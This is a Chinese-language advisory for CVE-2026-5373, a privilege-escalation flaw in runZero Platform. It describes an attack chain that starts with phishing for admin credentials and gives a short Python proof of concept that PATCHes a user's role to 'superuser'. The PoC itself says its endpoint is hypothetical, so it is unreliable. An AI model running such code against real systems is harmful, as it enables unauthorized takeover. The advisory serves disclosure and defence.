CVE-2026-5373 CVSS 8.1 高危

CVE-2026-5373 runZero Platform权限提升漏洞

披露日期: 2026-04-07

来源: 44488dab-36db-4358-99f9-bc116477f914

漏洞信息

漏洞编号

CVE-2026-5373

漏洞类型

权限提升

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

runZero Platform

漏洞概述

runZero Platform存在权限管理不当漏洞（CVE-2026-5373），允许组织管理员将账户提升为超级用户状态。该漏洞CVSS评分8.1，属于高危漏洞。攻击者需具备高权限并进行用户交互，利用此漏洞可获取系统最高控制权，影响数据的机密性和完整性。官方已在4.0.260202.0版本中修复该问题。

技术细节

该漏洞属于CWE-269权限管理不当。在受影响版本的runZero Platform中，系统对“组织管理员”角色的权限控制逻辑存在缺陷。正常情况下，组织管理员不应具备将账户提升为“超级用户”的权限。然而，由于后端验证不足，攻击者一旦拥有组织管理员凭据（PR:H），可以通过构造特定的API请求或利用界面交互（UI:R），绕过权限检查。成功利用后，攻击者可将自身账户提升为超级用户，从而获得对整个平台的完全控制权，包括读取敏感数据（C:H）和篡改关键配置（I:H）。由于攻击向量为网络（AV:N），该漏洞可被远程利用。

攻击链分析

STEP 1

获取凭证

攻击者通过钓鱼、社会工程学或其他漏洞获取runZero平台的组织管理员账户凭证。

STEP 2

身份认证

攻击者使用获取的凭证登录runZero平台，获取有效的会话令牌或API密钥。

STEP 3

发送利用请求

攻击者利用管理员权限，向修改用户角色的API端点发送特制请求，尝试将普通账户或自身账户的角色更改为“超级用户”。

STEP 4

权限提升

由于后端权限校验逻辑缺陷，请求被接受，账户权限提升为超级用户，攻击者获得系统完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Proof of Concept for CVE-2026-5373
# Requires valid Organization Admin credentials

import requests

TARGET_URL = "https://target-runzero-instance.com"
API_KEY = "ORG_ADMIN_API_KEY"
HEADERS = {
    "Authorization": f"Bearer {API_KEY}",
    "Content-Type": "application/json"
}

# Target user ID to promote (or self)
TARGET_USER_ID = "12345"

payload = {
    "role": "superuser"
}

try:
    # Endpoint to update user role (hypothetical based on vulnerability description)
    response = requests.patch(
        f"{TARGET_URL}/api/v1.0/users/{TARGET_USER_ID}",
        json=payload,
        headers=HEADERS,
        verify=False # Ignore SSL cert for testing
    )

    if response.status_code == 200:
        print("[+] Successfully escalated privileges to Superuser!")
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[!] Error: {e}")

影响范围

runZero Platform < 4.0.260202.0

防御指南

临时缓解措施

建议立即检查系统日志，确认是否存在异常的权限提升操作。在升级补丁应用前，严格限制组织管理员账户的权限分配，仅授予必要人员，并启用多因素认证以防止凭证被盗。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表